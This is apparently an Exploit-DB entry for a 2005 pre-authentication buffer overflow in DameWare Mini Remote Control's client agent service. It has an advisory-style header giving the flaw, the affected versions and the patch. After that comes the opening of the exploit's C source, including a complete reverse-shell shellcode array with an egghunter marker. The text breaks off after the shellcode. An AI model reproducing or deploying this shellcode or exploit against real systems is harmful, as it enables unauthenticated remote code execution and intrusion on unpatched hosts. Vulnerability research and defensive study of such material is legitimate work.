Exploit-DB #1190
Description: DameWare Mini Remote Control 4.0 < 4.9 - Client Agent Remote Overflow
Type: remote
Platform: windows
Date: 2005-08-31
Author: jpno5

Exploit:
/************************************************************************************************
*                            _                   ______
*                           (_)___  ____  ____  / ____/
*                          / / __ \/ __ \/ __ \/___ \
*                         / / /_/ / / / / /_/ /___/ /
*                      __/ / .___/_/ /_/\____/_____/
*                     /___/_/======================
*************************************************************************************************
*
*                                       DameWare Mini Remote Control Client Agent Service
*                                               Another Pre-Authentication Buffer Overflow
*                                                                By Jackson Pollocks No5
*                                                                         www.jpno5.com
*
*
*       Summary
*               +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*               DameWare Mini Remote Control is "A lightweight remote control intended primarily
*               for administrators and help desks for quick and easy deployment without
*               external dependencies and machine reboot.
*
*               Developed specifically for the 32-bit Windows environment (Windows 95/98/Me/NT/2000/XP),
*               DameWare Mini Remote Control is capable of using the Windows challenge/response authentication
*               and is able to be run as both an application and a service.
*
*               Some additional features include View Only, Cursor control, Remote Clipboard, Performance Settings,
*               Inactivity control, TCP only, Service Installation and Ping."
*
*               A buffer overflow vulnerability can be exploited remotely by an unauthenticated attacker
*               who can access the DameWare Mini Remote Control Server.
*
*               By default (DameWare Remote Control Server) DWRCS listens on port 6129 TCP.
*               An attacker can construct a specialy crafted packet and exploit this vulnerability.
*               The vulnerability is caused by insecure calls to the lstrcpyA function when checking the username.
*
*
*       Severity:   Critical
*
*       Impact:         Code Execution
*
*       Local:          Yes
*
*       Remote:         Yes
*
*       Patch:          Download version 4.9.0 or later and install over your existing installation.
*                               You can download the latest version of your DameWare Development Product at
*                               http://www.dameware.com/download
*
*       Details:        Affected versions will be any ver in above 4.0 and prior to 4.9
*                               of the Mini Remote Client Agent Service (dwrcs.exe).
*
*       Discovery:  i discovered this while using the dameware mini remote control client.
*                               i accidently pasted in a large string of text instead of my username.
*                               Clicking connect led to a remote crash of the application server.
*
*       Credits:        Can't really remember who's shellcode i used, more than likely it was
*                               written by Brett Moore.
*
*                               The egghunter was written by MMiller(skape). {Which kicks ass btw}
*
*                               Thanks to spoonm for tracking that NtAccessCheckAndAuditAlarm
*                               universal syscall down.
*
*                               Some creds to Adik as well, i did code my own exploit but it had none
*                               of that fancy shit like OS and SP detection. So basicly i just modded
*                               the payload from the old dameware exploit(ver 3.72).
*
*                               A little cred to me as well, after all i did put all them guys great
*                               work together to make something decent :)
*
************************************************************************************/

#include <stdio.h>
#include <string.h>
#include <winsock.h>

#pragma comment(lib,"ws2_32")

#define ACCEPT_TIMEOUT  25
#define RECVTIMEOUT             15

#define UNKNOWN         0
#define WIN2K           1
#define WINXP           2
#define WIN2K3          3
#define WINNT           4

               unsigned char rshell[] = {
       "\x41\x42\x41\x42\x41\x42\x41\x42\x90\x90\x90\x90\x90\x90\x90\x90"// For The Egghunter
       "\x90\xFC\x6A\xEB\x52\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B"// Reverse Shell
       "\x45\x3C\x8B\x7C\x05\x78\x01\xEF\x83\xC7\x01\x8B\x4F\x17\x8B\x5F"
       "\x1F\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84"
       "\xC0\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3"
       "\x8B\x5F\x23\x01\xEB\x66\x8B\x0C\x4B\x8B\x5F\x1B\x01\xEB\x03\x2C"
       "\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40\x30\x8B\x40\x0C"
       "\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E\xEC\x50\xFF\xD6"
       "\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5F\x54\xFF\xD0"
       "\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66\x81\xED\x08\x02"
       "\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF\xD6\x53\x53\x53"
       "\x53\x43\x53\x43\x53\xFF\xD0\x68\x90\x90\x90\x90\x66\x68\x90\x90"
       "\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF\xD6\x6A\x10\x51"
       "\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50\x59\x29\xCC\x89"
       "\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD\xFE\x42\x2D\xFE"
       "\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3\x16\xFF\x75\x28"
       "\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51\x55\x51\xFF\xD0"
       "\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37\xFF\xD0\x68\xE7"
       "\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF\xD0\x68\xEF\xCE"
       "\xE0\x60\x53\xFF\xD6\xFF\xD0"
       };